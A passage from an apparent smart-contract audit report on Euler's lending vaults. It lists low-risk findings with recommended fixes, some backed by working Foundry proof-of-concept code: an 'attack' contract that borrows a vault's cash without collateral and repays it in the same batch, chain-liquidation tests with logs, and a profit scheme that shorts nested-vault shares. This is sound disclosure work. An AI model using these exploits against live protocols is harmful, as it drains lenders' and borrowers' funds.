      ← [Return] IRMData({ lastUpdated: 1, lastRate: 158443692534057154 [1.584e17] })
    [0] VM::assertEq(158443692534057154 [1.584e17], 158443692534057154 [1.584e17]) [staticcall]
      ← [Return]
    [227] IRMSynth::ADJUST_INTERVAL() [staticcall]
      ← [Return] 3600
    [0] VM::warp(3601)
      ← [Return]
    [1036] IRMSynth::computeInterestRateView(0x0000000000000000000000000000000000000000, 0, 0)
↪  [staticcall]
      ← [Return] 158443692534057154 [1.584e17]
    [527] IRMSynth::getIRMData() [staticcall]
      ← [Return] IRMData({ lastUpdated: 1, lastRate: 158443692534057154 [1.584e17] })
    [0] VM::assertNotEq(158443692534057154 [1.584e17], 158443692534057154 [1.584e17]) [staticcall]
      ← [Revert] assertion failed: 158443692534057154 == 158443692534057154
    ← [Revert] assertion failed: 158443692534057154 == 158443692534057154

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 527.20µs (79.88µs CPU time)

Ran 1 test suite in 1.10s (527.20µs CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/unit/irm/IRMSynth.t.sol:IRMSynthTest
[FAIL. Reason: assertion failed: 158443692534057154 == 158443692534057154]
↪  test_computeInterestRateView() (gas: 36887)
```

```
Encountered a total of 1 failing tests, 0 tests succeeded
```

- [Return] 1788 bytes of code
- (gas: 36887)

Differences between above two test results:

- [Return] 1897 bytes of code
- [Return] 1788 bytes of code

109 bytes of code difference, and

- (gas: 37098)
- (gas: 36887)

Seems 211 less gas consumed when using `} else if (quote > targetQuote) {` for this specific test.

Recommendation:

```
  if (quote < targetQuote) {
      // If the quote is less than the target, increase the rate
      rate = rate * ADJUST_FACTOR / ADJUST_ONE;
- } else {
+ } else if (quote > targetQuote) {
      // If the quote is greater than the target, decrease the rate
      rate = rate * ADJUST_ONE / ADJUST_FACTOR;
  }
```

3.1.15 EVC address can be set to different addresses in modules and `EVault`

Submitted by RustyRabbit

Severity: Low Risk

Context: Dispatch.sol#L94, EVCClient.sol#L21, Governance.sol#L194-L196

Description: During deployment and upgrade of the Evault it's possible that the `EVault` and the linked modules have different `evc` addresses set. This can happen when the modules are initialized with different `Integrations` structures compared to the `Evault`or other modules. This scenario could for instance occur when some modules' code is updated and others are not, in which case the team may reuse existing modules assuming that the `evc`address configured in the `EVault` contains the master address used by all modules.

The `EVault` and the modules (`Balanceforwarder`, `Borrowing`, `Governance`, `Initialize`, `Liquidation`, `RiskManager`,`Token` and `Vault`) inherit from `Base` where the `constructor` sets the `evc` address as an immutable in the `EVClient`. Over time when the EVC is updated some modules will still point to the old address and others will point to the new address.

Any function in the `EVault` that is configured to use the module via the `use` or `useView` modifiers will therefore call the `evc` address stored in the code of those modules rather than the one used by the `EVault`.

Impact: The result would be that authorization decisions happen against the wrong `evc` and account and vault checks set by the modules would be bypassed as the `evc` set in the `Evault` would not have the correct account and vault checks set.

Likelihood: Although the likelihood is low as it would be a deployment or upgrade error, the EVK is designed as a kit to be used by other teams which may not be aware of these low level intricacies of the EVK codebase.

Recommendation: Move the `EVC()` function that's currently implemented in the `Governance`module only to the `Base` and check that all module addresses defined int he `Integrations` structure when deploying the `EVault` use the the same `evc`address using the `EVC()` function on those modules.

3.1.16 The natspec comments for the `withdraw()` function are incorrect due to bad copy & paste job

Submitted by 0xSCSamurai, also found by Aamirusmani1552

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Regardless of being in scope or not, as a QA report, team should be made mindful of these type of oversights:

QA: `EulerSavingsRate.sol::withdraw()` - L152-L166: The natspec comments for the `withdraw()` function are incorrect due to bad copy & paste job.

Although not as serious as actual bugs, incorrect/misleading comments can potentially lead to problems at some point down the line especially for external protocols integrating with this protocol. Emphasis on "*potentially*" asleep devs could be misled and make a mistake in their code implementation somewhere, as an example.

Here's the natspec comments for the `deposit()` function:

```
/// @notice Deposits a certain amount of assets to the vault.
/// @param assets The amount of assets to deposit.
/// @param receiver The recipient of the shares.
/// @return The amount of shares minted.
function deposit(uint256 assets, address receiver) public override nonReentrant returns (uint256) {
    return super.deposit(assets, receiver);
}
```

and here's the identical natspec for the `withdraw()` function:

```
/// @notice Deposits a certain amount of assets to the vault.
/// @param assets The amount of assets to deposit.
/// @param receiver The recipient of the shares.
/// @return The amount of shares minted.
function withdraw(uint256 assets, address receiver, address owner)
    public
    override
    nonReentrant
    requireAccountStatusCheck(owner)
    returns (uint256)
{
    // Move interest to totalAssets
    updateInterestAndReturnESRSlotCache();
    return super.withdraw(assets, receiver, owner);
}
```

Recommendation: Take care in copy & paste jobs, and always be mindful of accuracy of natspec comments, they may not be bugs but could potentially lead to mistakes or misunderstandings/confusion down the line.

3.1.17 Any user can borrow the underlying asset from `EVault` and repay it within the same transaction without paying any fee

Submitted by 0xpiken

Severity: Low Risk

Context: Borrowing.sol#L65-L78

Description: `EVault` provide flash loan function to allow any user borrowing the underlying asset as long as they repay it in same transaction. The flash loan function can be disabled, or user is forced to pay a certain percentage of the flash loan as fee in advance, which depends on the hook configurations on this EVault.

`EVault` also allows any user to borrow the underlying asset as long as they provide sufficient collateral. However, it only checks if the borrower has sufficient collateral at the end of the call due to the checks deferrals feature of EVC.

Since EVault supports batch calls, any user can take advantage of this feature to borrow the underlying asset from any EVault and repay it within the same transaction without incurring any fees, effectively bypassing the flash loan restrictions of the EVault:

- The borrower doesn't need to provide any collateral.
- Anyone can do this even the flash loan feature is disabled.
- The borrower doesn't need to pay any fee, resulting in the EVault losing flash loan fees.

Proof of concept: Firstly, we create a smart contract `FlashloanReciver` as borrowed asset receiver:

```
// SPDX-License-Identifier: BUSL-1.1

pragma solidity ^0.8.0;

import "./EVault/IEVault.sol";
import {SafeERC20Lib} from "./EVault/shared/lib/SafeERC20Lib.sol";
import {IEVC} from "ethereum-vault-connector/interfaces/IEthereumVaultConnector.sol";
interface IFlashloanReciver {
    function attack(IERC20 asset, address vault, address borrower, uint256 cashBorrowed) external;
}
contract FlashloanReciver is IFlashloanReciver {
    using SafeERC20Lib for IERC20;
    IEVC evc;
    constructor(IEVC _evc) {
        evc = _evc;
    }
    function attack(IERC20 asset, address vault, address borrower, uint256 cashBorrowed) external {
        require(msg.sender == address(evc), "Invalid call");
        uint256 balance = asset.balanceOf(address(this));
        //@audit-info all underlying asset in EVault has been borrowed
        assert(cashBorrowed == balance);

        /* The borrower can use borrowed asset to do whatever they want */

        //@audit-info borrower can repay debt via different ways
        asset.approve(vault, balance);
        IERC4626(vault).deposit(balance/2, address(this));
        IBorrowing(vault).repayWithShares(type(uint256).max, borrower);
        IBorrowing(vault).repay(type(uint256).max, borrower);
        assert(asset.balanceOf(address(this)) == 0);
    }
}
```

Then add a new test case in `borrow.t.sol`, and run `forge test --match-test test_basicBorrowAndRepay`:

```
function test_basicBorrowAndRepay() public {
    startHoax(borrower);
    uint256 cash = eTST.cash();
    //@audit-info vault has non-zero cash
    assertNotEq(cash, 0);
    FlashloanReciver attacker = new FlashloanReciver(evc);
    evc.enableController(borrower, address(eTST));
    (uint256 collateralValue, uint256 liabilityValue) = eTST.accountLiquidity(borrower, false);
    //@audit-info the borrower has no any collateral at the moment
    assertEq(collateralValue, 0);
    assertEq(liabilityValue, 0);
    IEVC.BatchItem[] memory items = new IEVC.BatchItem[](2);
    //@audit-info batch 0: borrower borrow all underlying asset from eTST to attacker contract
    items[0].onBehalfOfAccount = borrower;
    items[0].targetContract = address(eTST);
    items[0].value = 0;
    items[0].data = abi.encodeWithSelector(IBorrowing.borrow.selector, type(uint256).max, address(attacker));
    //@audit-info batch 1: call attacher.attack() to utilize borrowed asset and repay it to the EVault at the
↪   end
    items[1].onBehalfOfAccount = borrower;
    items[1].targetContract = address(attacker);
    items[1].value = 0;
    items[1].data = abi.encodeWithSelector(IFlashloanReciver.attack.selector, assetTST, address(eTST),
↪   borrower, cash);
    evc.batch(items);
}
```

As we can see, a borrower without any collateral can borrow all underlying asset from EVault, as long as they repay it within same transaction.

Recommendation: Ensure that a borrower has sufficient collateral before transferring the underlying asset to them in `BorrowingModule#borrow()`:

```
  function borrow(uint256 amount, address receiver) public virtual nonReentrant returns (uint256) {
      (VaultCache memory vaultCache, address account) = initOperation(OP_BORROW, CHECKACCOUNT_CALLER);

      Assets assets = amount == type(uint256).max ? vaultCache.cash : amount.toAssets();
      if (assets.isZero()) return 0;

      if (assets > vaultCache.cash) revert E_InsufficientCash();

      increaseBorrow(vaultCache, account, assets);

+     address[] memory collaterals = getCollaterals(account);
+     checkLiquidity(vaultCache, account, collaterals);

      pushAssets(vaultCache, receiver, assets);

      return assets.toUint();
  }
```

3.1.18 Liquidation chaining can be achieved by liquidating token collateral with the highest collateral factor

Submitted by 0xSecuri, also found by Chad0

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: Euler Finance aims to provide an efficient and protective liquidation process to safeguard borrowers from unnecessary collateral loss. However, a vulnerability in the current system allows liquidators to selectively target collateral with the highest collateral factors, leading to excessive chain liquidations and disproportionate depletion of a borrower's collateral. Enforcing liquidations to start with the lowest collateral factor assets can prevent this exploit and ensure the platform meets its goals of borrower protection and process stability.

The liquidation mechanism is intended as follows:

- Liquidation Trigger: Accounts become eligible for liquidation when their risk-adjusted collateral value falls at or below their liability value.
- Liquidation Execution: Profit-seeking liquidation bots monitor accounts off-chain and initiate liquidations when the liquidation trigger is met. Liquidators strategically seize collateral and take on debt from the liability vault to settle the debt of the vulnerable account.

However, since the liquidator can select which collateral he will receive, he can intentionally liquidate the highest collateralFactor tokens in order to make the overall position's collateralFactor to go down and being able to keep liquidating the other tokens.

Proof of Concept: Imagine the following situation:

The liability vault supports these 4 tokens, A, B, C and D with these collateralFactors:

Token	Collateral factor
A	0.85
B	0.65
C	0.50
D	0.70

The initial prices for these tokens are as follows:

Token	Price in Reference Asset
A	1
B	0.2
C	0.5
D	1

Bob deposits these 3 amounts of token A, B and C as collateral:

Token	Value	Amount	Weighted value	Weighted value
A	1	10	10	8.5
B	0.2	50	10	6.5
C	0.5	20	10	5
		Total values	30	20

Bob can borrow up to 20 * 0.95 = 19 worth of reference asset. For the sake of simplicity, since token D is valued 1 RA, he can borrow up to 19 of token D. However, he decides to borrow 18.9 to have a tiny healthy zone. Unfortunately for Bob, the price of token C drops to 0.25. And the situation continues as follows:

Token	Value	Amount	Unweighted value	Weighted value
A	1	10	10	8.5
B	0.2	50	10	6.5
C	0.25	20	5	2.5
		Total values	25	17.5

In this stage, Bob can be liquidated because his borrowed amount (18.9) is greater than his weighted value (17.5). Let's now demonstrate that if the liquidator receives the token with the highest `collateralFactor`, the position will still be liquidable and he can chain this function call in order to liquidate a huge amount of collateral.

- Chain liquidation proof of concept:

```
function test_ChainLiquidation() public {
    // Setup
    MockERC20 tokenA = new MockERC20("Token A", "TA", 18);
    MockERC20 tokenB = new MockERC20("Token B", "TB", 18);
    MockERC20 tokenC = new MockERC20("Token C", "TC", 18);
    MockERC20 tokenD = new MockERC20("Token D", "TD", 18);

    VaultSimple collateralVaultA =
        new VaultSimple(address(evc), IERC20(address(tokenA)), "Collateral Vault A", "CVA");
    VaultSimple collateralVaultB =
        new VaultSimple(address(evc), IERC20(address(tokenB)), "Collateral Vault B", "CVB");
    VaultSimple collateralVaultC =
        new VaultSimple(address(evc), IERC20(address(tokenC)), "Collateral Vault C", "CVC");
    VaultRegularBorrowable liabilityVaultD = new VaultRegularBorrowable(
        address(evc),
        IERC20(address(tokenD)),
        irm,
        oracle,
        ERC20(address(referenceAsset)),
        "Liability Vault D",
        "LVD"
    );

    oracle.setResolvedAsset(address(collateralVaultA));
    oracle.setResolvedAsset(address(collateralVaultB));
    oracle.setResolvedAsset(address(collateralVaultC));
    oracle.setResolvedAsset(address(liabilityVaultD));

    // Setting prices for assets
    oracle.setPrice(address(tokenA), address(referenceAsset), 1 ether); // 1 Token A = 1 RA
    oracle.setPrice(address(tokenB), address(referenceAsset), 0.2 ether); // 1 Token B = 0.2 RA
```

```
        oracle.setPrice(address(tokenC), address(referenceAsset), 0.5 ether); // 1 Token C = 0.5 RA
        oracle.setPrice(address(tokenD), address(referenceAsset), 1 ether); // 1 Token D = 1 RA

        // lender
        address alice = makeAddr("Alice");
        // borrower
        address bob = makeAddr("Bob");
        // liquidator
        address eve = makeAddr("Eve");

        // minting tokens and giving approvals
        tokenD.mint(alice, 100e18);
        tokenD.mint(eve, 100e18);
        tokenA.mint(bob, 100e18);
        tokenB.mint(bob, 100e18);
        tokenC.mint(bob, 100e18);

        vm.prank(alice);
        tokenD.approve(address(liabilityVaultD), type(uint256).max);

        vm.prank(eve);
        tokenD.approve(address(liabilityVaultD), type(uint256).max);

        vm.startPrank(bob);
        tokenA.approve(address(collateralVaultA), type(uint256).max);
        tokenB.approve(address(collateralVaultB), type(uint256).max);
        tokenC.approve(address(collateralVaultC), type(uint256).max);
        vm.stopPrank();

        // Setting collateral factors

        liabilityVaultD.setCollateralFactor(address(collateralVaultA), 85); // cf = 0.85
        liabilityVaultD.setCollateralFactor(address(collateralVaultB), 65); // cf = 0.65
        liabilityVaultD.setCollateralFactor(address(collateralVaultC), 50); // cf = 0.5
        liabilityVaultD.setCollateralFactor(address(liabilityVaultD), 70); // cf = 0.7

        // Alice deposits 100 tokenD
        vm.prank(alice);
        liabilityVaultD.deposit(100e18, alice);

        // Bob deposits these 3 amounts of token A, B and C as collateral and takes loan:
        vm.startPrank(bob);
        collateralVaultA.deposit(10e18, bob);
        collateralVaultB.deposit(50e18, bob);
        collateralVaultC.deposit(20e18, bob);
        evc.enableController(bob, address(liabilityVaultD));
        evc.enableCollateral(bob, address(collateralVaultA));
        evc.enableCollateral(bob, address(collateralVaultB));
        evc.enableCollateral(bob, address(collateralVaultC));

        liabilityVaultD.borrow(18.9 ether, bob);
        vm.stopPrank();

        (uint256 liabilityValue, uint256 collateralValue) = liabilityVaultD.getAccountLiabilityStatus(bob);
        console.log("Collateral value: ", collateralValue);
        console.log("Liability value: ", liabilityValue);

        // Unfortunately for Bob, the price of token C drops to 0.25. And the situation continues as
    ↪  follows:
        oracle.setPrice(address(tokenC), address(referenceAsset), 0.25 ether); // 1 Token C = 0.25 RA

        (liabilityValue, collateralValue) = liabilityVaultD.getAccountLiabilityStatus(bob);
        console.log("-------------");
        console.log("Values after the price drop");
        console.log("Collateral value: ", collateralValue);
        console.log("Liability value: ", liabilityValue);
        vm.startPrank(eve);
        liabilityVaultD.deposit(100e18, eve);
        evc.enableController(eve, address(liabilityVaultD));
        evc.enableCollateral(eve, address(liabilityVaultD));
        evc.enableCollateral(eve, address(collateralVaultA));
        liabilityVaultD.liquidate(bob, address(collateralVaultA), 9.259 ether);
        vm.stopPrank();
        (liabilityValue, collateralValue) = liabilityVaultD.getAccountLiabilityStatus(bob);
        console.log("-------------");
        console.log("Values after first liquidation");
```

```
        console.log("Collateral value: ", collateralValue);
        console.log("Liability value: ", liabilityValue);

        vm.prank(eve);
        liabilityVaultD.liquidate(bob, address(collateralVaultB), 9.345 ether);
        (liabilityValue, collateralValue) = liabilityVaultD.getAccountLiabilityStatus(bob);
        console.log("-------------");
        console.log("Values after second liquidation");
        console.log("Collateral value: ", collateralValue);
        console.log("Liability value: ", liabilityValue);
    }
```

From the test logs, we can clearly see that after the first liquidation, the account's health does not improve. This will allow the liquidator to continue liquidating the account further, eventually taking much more from it than necessary:

```
[PASS] test_ChainLiquidation() (gas: 13640657)
Logs:
Collateral value:  20000000000000000000
Liability value:  18900000000000000000
-------------
Values after the price drop
Collateral value:  17500000000000000000
Liability value:  18900000000000000000
-------------
Values after first liquidation
Collateral value:  9000238000000000000
Liability value:  9641000000000000000
-------------
Values after second liquidation
Collateral value:  2500790500000000000
Liability value:  296000000000000000
```

The scenario completely changes if the liquidator would be forced to liquidate the collateral with the lowest `collateralFactor`. The liquidator is forced to receive token C (lowest `collateralFactor`). He decides to repay 4.54 worth of token D and this will be enough to make the account's possition healthier.

- Liquidation Constrainted proof of concept:

```
function test_LiquidationsConstrainted() public {
    // Setup
    MockERC20 tokenA = new MockERC20("Token A", "TA", 18);
    MockERC20 tokenB = new MockERC20("Token B", "TB", 18);
    MockERC20 tokenC = new MockERC20("Token C", "TC", 18);
    MockERC20 tokenD = new MockERC20("Token D", "TD", 18);

    VaultSimple collateralVaultA =
        new VaultSimple(address(evc), IERC20(address(tokenA)), "Collateral Vault A", "CVA");
    VaultSimple collateralVaultB =
        new VaultSimple(address(evc), IERC20(address(tokenB)), "Collateral Vault B", "CVB");
    VaultSimple collateralVaultC =
        new VaultSimple(address(evc), IERC20(address(tokenC)), "Collateral Vault C", "CVC");
    VaultRegularBorrowable liabilityVaultD = new VaultRegularBorrowable(
        address(evc),
        IERC20(address(tokenD)),
        irm,
        oracle,
        ERC20(address(referenceAsset)),
        "Liability Vault D",
        "LVD"
    );

    oracle.setResolvedAsset(address(collateralVaultA));
    oracle.setResolvedAsset(address(collateralVaultB));
    oracle.setResolvedAsset(address(collateralVaultC));
    oracle.setResolvedAsset(address(liabilityVaultD));

    // Setting prices for assets
    oracle.setPrice(address(tokenA), address(referenceAsset), 1 ether); // 1 Token A = 1 RA
    oracle.setPrice(address(tokenB), address(referenceAsset), 0.2 ether); // 1 Token B = 0.2 RA
    oracle.setPrice(address(tokenC), address(referenceAsset), 0.5 ether); // 1 Token C = 0.5 RA
    oracle.setPrice(address(tokenD), address(referenceAsset), 1 ether); // 1 Token D = 1 RA
```

```
        // lender
        address alice = makeAddr("Alice");
        // borrower
        address bob = makeAddr("Bob");
        // liquidator
        address eve = makeAddr("Eve");

        // minting tokens and giving approvals
        tokenD.mint(alice, 100e18);
        tokenD.mint(eve, 100e18);
        tokenA.mint(bob, 100e18);
        tokenB.mint(bob, 100e18);
        tokenC.mint(bob, 100e18);

        vm.prank(alice);
        tokenD.approve(address(liabilityVaultD), type(uint256).max);

        vm.prank(eve);
        tokenD.approve(address(liabilityVaultD), type(uint256).max);

        vm.startPrank(bob);
        tokenA.approve(address(collateralVaultA), type(uint256).max);
        tokenB.approve(address(collateralVaultB), type(uint256).max);
        tokenC.approve(address(collateralVaultC), type(uint256).max);
        vm.stopPrank();

        // Setting collateral factors

        liabilityVaultD.setCollateralFactor(address(collateralVaultA), 85); // cf = 0.85
        liabilityVaultD.setCollateralFactor(address(collateralVaultB), 65); // cf = 0.65
        liabilityVaultD.setCollateralFactor(address(collateralVaultC), 50); // cf = 0.5
        liabilityVaultD.setCollateralFactor(address(liabilityVaultD), 70); // cf = 0.7

        // Alice deposits 100 tokenD
        vm.prank(alice);
        liabilityVaultD.deposit(100e18, alice);

        // Bob deposits these 3 amounts of token A, B and C as collateral and takes loan:
        vm.startPrank(bob);
        collateralVaultA.deposit(10e18, bob);
        collateralVaultB.deposit(50e18, bob);
        collateralVaultC.deposit(20e18, bob);
        evc.enableController(bob, address(liabilityVaultD));
        evc.enableCollateral(bob, address(collateralVaultA));
        evc.enableCollateral(bob, address(collateralVaultB));
        evc.enableCollateral(bob, address(collateralVaultC));

        liabilityVaultD.borrow(18.9 ether, bob);
        vm.stopPrank();

        (uint256 liabilityValue, uint256 collateralValue) = liabilityVaultD.getAccountLiabilityStatus(bob);
        console.log("Collateral value: ", collateralValue);
        console.log("Liability value: ", liabilityValue);

        // Unfortunately for Bob, the price of token C drops to 0.25. And the situation continues as
    ↪  follows:
        oracle.setPrice(address(tokenC), address(referenceAsset), 0.25 ether); // 1 Token C = 0.25 RA

        (liabilityValue, collateralValue) = liabilityVaultD.getAccountLiabilityStatus(bob);
        console.log("-------------");
        console.log("Values after the price drop");
        console.log("Collateral value: ", collateralValue);
        console.log("Liability value: ", liabilityValue);

        vm.startPrank(eve);
        liabilityVaultD.deposit(100e18, eve);
        evc.enableController(eve, address(liabilityVaultD));
        evc.enableCollateral(eve, address(liabilityVaultD));
        evc.enableCollateral(eve, address(collateralVaultA));
        liabilityVaultD.liquidate(bob, address(collateralVaultC), 4.54 ether);
        vm.stopPrank();
        (liabilityValue, collateralValue) = liabilityVaultD.getAccountLiabilityStatus(bob);
        console.log("-------------");
        console.log("Values after first liquidation");
        console.log("Collateral value: ", collateralValue);
        console.log("Liability value: ", liabilityValue);
```

```
}
```

Logs from liquidation of token with the lowest cf:

```
[PASS] test_LiquidationsConstrainted() (gas: 13455636)
Logs:
Collateral value:  20000000000000000000
Liability value:  18900000000000000000
-------------
Values after the price drop
Collateral value:  17500000000000000000
Liability value:  18900000000000000000
-------------
Values after first liquidation
Collateral value:  15048400000000000000
Liability value:  14360000000000000000
```

As we can see, Bob can only be liquidated once with the asset that has the lowest `collateralFactor`, after which his position becomes healthy:

To reproduce the issue please copy paste the content of the test cases in the `VaultRegularBorrowableTest.t.sol` file in the `evc-playground` repo and run them with `forge test --mt "testCaseName"`.

Impact: The impact of this issue is that accounts can be over-liquidated, leading to unnecessary financial losses for the account holder and potential erosion of trust in the platform.

Recommendation: This issue can be easily solved by forcing all liquidations to be done with the lowest `collateralFactor` tokens first. As shown in the written and coded PoC, if the user would have been forced to receive the collateral token with the lowest `collateralFactor`, the health of the position would go to non-liquidable and the liquidator would not be able to continue liquidating the position.

3.1.19 Liquidation profit can be amplified via nested vaults and shorting

Submitted by highbit, also found by alix40 and 00xSEV

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: Liquidation profit can be amplified via nested vaults and shorting. The Euler finance system is built to support nested vaults, these are vaults where the deposited asset is itself a vault share. This is promoted as a flexible and powerful feature of the platform.

Liquidation is a permissionless action taken by self-interested actors for a reward, a liquidation can be executed by any actor on any violator account which is unhealthy after a liquidation cooldown has elapsed. Timely liquidations are necessary and routine in a lending system.

Using nested vaults liquidators can take a short position on vault shares during a liquidation, allowing them to extract significantly more value from liquidations than intended at the cost of vault shareholders.

Socializing debt instantly devalues vault shares. Holding a short position against vault shares when this happens will therefore be instantly profitable. In one transaction, liquidators can borrow vault shares and deposit them for cash, creating a position that is short vault shares.

The position is short because a drop in price of vault shares (via debt socialization) will mean that the shares can be bought back at a lower price, with the remaining assets kept as profit.

In this same transaction, they can:

- Liquidate one or more loans.
- Collect their reward.
- Then buy back vault shares at a reduced price and close their position for a profit.

This can be done entirely within a single checks deferred context. No capital or additional risk is required from the liquidator.

Consider this scenario:

- A vault eUSDC:

  - It accepts collateral in eWETH with an LTV of 0.95.
  - It has the default setting of debt socialization being enabled.
- A nested vault eeUSDC that has eUSDC as its cash asset.
- An underwater loan from the eUSDC vault take out at price WETH-USDC = 2000.
  - Loan taken out when WETH-USDC = 2000 but price has fallen to 1850.
  - Loan amount: 1,000,000 USDC.
  - Loan collateral: 526.316 WETH (now worth 900,658 USDC).
- Current eUSDC share price is 1.00.
- There is a 4:1 ratio of eUSDC shares in eeUSDC vault to eUSDC shares in general circulation.

A liquidator then executes this batch of operations in a checks deferred context:

1. Take a short position against eUSDC vault shares:
   - Borrow all available eUSDC tokens from the eeUSDC vault. In this example 4,210,526 eUSDC.
   - redeem all eUSDC for USDC. Price is 1.00 so 4,210,526 USDC received. NOTE: This has the effect of reducing the number of eUSDC shares which *amplifies the effect of debt socialization on the share price*.
2. Liquidate the underwater loan, causing share devaluation:
   - The vault transfers the debt at an (equivalent) discount of 24,342 USDC.
   - The vault socializes 99,342 worth of debt reducing the share price to 0.905625 USDC/eUSDC.
   - Use some arbitrary market mechanism to sell the collateral and cover the transferred liability keeping the discount reward.
3. Attacker buys back enough eUSDC to cover their liability from step 2 at a lowered price.
   - 4,210,526 eUSDC at 0.905625 costs 3,813,158 USDC.
4. The transaction concludes with profits:
   - 24,342 USDC reward for performing the liquidation.
   - 397,368 USDC from short selling. Note that this profit is 4 times larger than the debt socialized; this is due to the initial 4:1 ratio.

Impact: The impact is financially large and also distorts incentives in the whole lending ecosystem. By shorting vault shares during liquidation:

1. Liquidators can amplify existing liquidation rewards, sometimes at high multipliers.
2. Liquidators can unfairly extract significant value from any debt socialization they trigger at *further* cost to shareholders.

It is not desirable or coherent that liquidators should profit from debt socialization at the cost of lenders. Liquidations in this case are effectively much more expensive than intended. Increased costs to lenders causes higher interest rates and poor capital efficiency. Furthermore, the true cost of liquidations becomes dynamic and hard to predict. Usually it is a function of just cash and borrows, but now an additional factor has been added: the number of shares available for loan.

Creation of nested vaults and depositing shares in them are permissionless actions, but doing so creates elevated cost and risk for the base vault. There is nothing the base vault can do about this. This is a failure of risk isolation in the EVC/EVaults.

Further, all shareholders bear the extra costs of liquidation extracted from shorting vault shares via devaluation, but only shareholders with their shares deposited in nested vaults can gain some compensation by collecting interest.

This creates an undesirable incentive where lenders are pushed to either:

1. Exit the system.

2. Deposit their shares in a nested vault. This makes more shares available for borrowing, which further increases the effect of shorting and the opportunity cost of not making shares available for borrowing.

This incentive will likely lead to an equilibrium where almost everyone deposits their shares in a nested vault or exits. This is not a coherent economic mechanism and leads to highly undesirable equilibria.

This attack extracts value from a vulnerable fixed pricing formula in a single transaction while contributing nothing substantial to the financial system in the way of price discovery or liquidity.

Likelihood: Practically guaranteed. Euler Finance is planning to roll out nested vaults as one of their early products. Thus, conditions will be perfect for this attack.

Further:

1. Liquidations are an essential part of the normal economic functioning of EVaults. They are necessary and routine.
2. Creation of nested vaults is encouraged and promoted as a distinctive feature by Euler. Their core function is to make vault shares available for borrowing, which allows shorting.

Recommendation: The root problem is that the vault share price does not accurately reflect their Net Present Value. The pricing equation of EVaults -- dividing the total cash plus borrows by total number of shares -- is far too simplistic. It does not take into account how the vaults shares interact with the wider borrowing ecosystem. In particular, nested vaults *must* fundamentally change the Net Present Value calculation, yet the pricing equation of EVaults is immutable.

Since a liquidation could happen at any future time and incur significant costs with certainty, these costs should be reflected in current price the vault is willing to transact shares.

This structural problem is embedded in the core functioning of the EVC/EVaults; it cannot be fixed with a small, conceptually isolated, code change. Remedying the root cause of the problem requires careful thought and is thus outside the scope of this issue report. We recommend further detailed analysis.

Analysis: Here is a relatively compact derivation for the excess cost of liquidations when the liquidator is shorting vault shares. Given total vault assets a before the liquidation and final assets a', a debt socialization of size r and q shares being shorted. Let x be the initial share price, x' be the final share price and u be the number of outstanding shares. The loss l is:

$$\begin{aligned} l &= a - a' \\ l &= xu - x'u \\ l &= r + q(x - x') \end{aligned}$$

Consider a fraction f of the shares are being shorted, then $q = fu$:

$$\begin{aligned} l &= r + fu(x - x') \\ l &= r + f(xu - x'u) \\ l &= r + fl \\ l &= \frac{1}{1-f}\, r \end{aligned}$$

Now consider a vault with assets a, borrows b and cash c, $a = b + c$. There are now two cases to consider:

1. $xq \leq c$: The maximum number of shares that can shorted q is only limited by the number available for borrowing. Attacker will borrow all available shares and use them for shorting.
2. $xq > c$: The maximum number of shares that can be shorted is limited by the cash in the vault, because once cash is totally depleted, shares cannot be used for further withdrawals.

Let us consider case 2, if there is only one loan to liquidate, then set $q = \frac{c}{x}$. If there are multiple loans then after each loan is liquidated it can be repayed, putting cash in the vault for further withdrawals. In general, the vault value lost will be a complex function summing over every loan being liquidated.

A loose upper bound can be derived because one cannot withdraw more cash than was paid into the vault. Let $f_c = \frac{c}{a}$ be the fraction of cash in the vault and $f_B = \frac{B}{a}$ where B is the total value being repayed by the liquidator. Giving these bounds:

$$\frac{1}{1-f_c}\,r \le l < \frac{1}{1-f_c-f_B}\,r$$

A tighter bound is much more complicated, in the limit of many small loans and a fixed ratio of value socialized to value repayed $f_r = \frac{r}{B}$ it can be calculated analytically. Without loss of generality, consider a vault where the initial share price is $x = \frac{a}{u} = 1$, after many small repays and withdrawls the final share price will be x', then:

$$\begin{aligned}\beta &= \frac{1}{f_r+1}\\ x' &= (a-c)^{\beta-1}\,(a-B-c-r)^{1-\beta}\\ l &= u\,(1-x')\end{aligned}$$

Proof of concept: Place file in `euler-vault-kit` repo in directory `test/audit`:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";

import {DeployPermit2} from "permit2/test/utils/DeployPermit2.sol";
import {EthereumVaultConnector} from "ethereum-vault-connector/EthereumVaultConnector.sol";
import {IEVC} from "ethereum-vault-connector/interfaces/IEthereumVaultConnector.sol";
import {IVault} from "ethereum-vault-connector/interfaces/IVault.sol";

import {GenericFactory} from "../../src/GenericFactory/GenericFactory.sol";

import {EVault} from "../../src/EVault/EVault.sol";
import {ProtocolConfig} from "../../src/ProtocolConfig/ProtocolConfig.sol";
import {SequenceRegistry} from "../../src/SequenceRegistry/SequenceRegistry.sol";
import "../../src/EVault/shared/Constants.sol";

import {Dispatch} from "../../src/EVault/Dispatch.sol";

import {Initialize} from "../../src/EVault/modules/Initialize.sol";
import {Token} from "../../src/EVault/modules/Token.sol";
import {Vault} from "../../src/EVault/modules/Vault.sol";
import {Borrowing} from "../../src/EVault/modules/Borrowing.sol";
import {Liquidation} from "../../src/EVault/modules/Liquidation.sol";
import {BalanceForwarder} from "../../src/EVault/modules/BalanceForwarder.sol";
import {Governance} from "../../src/EVault/modules/Governance.sol";
import {RiskManager} from "../../src/EVault/modules/RiskManager.sol";

import {IEVault, IERC20} from "../../src/EVault/IEVault.sol";
import {IPriceOracle} from "../../src/interfaces/IPriceOracle.sol";
import {Base} from "../../src/EVault/shared/Base.sol";
import {Errors} from "../../src/EVault/shared/Errors.sol";

import {TestERC20} from "../../test/mocks/TestERC20.sol";
import {MockBalanceTracker} from "../../test/mocks/MockBalanceTracker.sol";
import {IRMTestDefault} from "../../test/mocks/IRMTestDefault.sol";
import {Pretty} from "../../test/invariants/utils/Pretty.sol";


struct Stats {
    uint256 attackerCollateralBefore;
    uint256 attackerLiabilityBefore;
    uint256 attackerCollateralAfter;
    uint256 attackerLiabilityAfter;
    uint256 violatorCollateralBefore;
    uint256 violatorLiabilityBefore;
    uint256 violatorCollateralAfter;
    uint256 violatorLiabilityAfter;
}
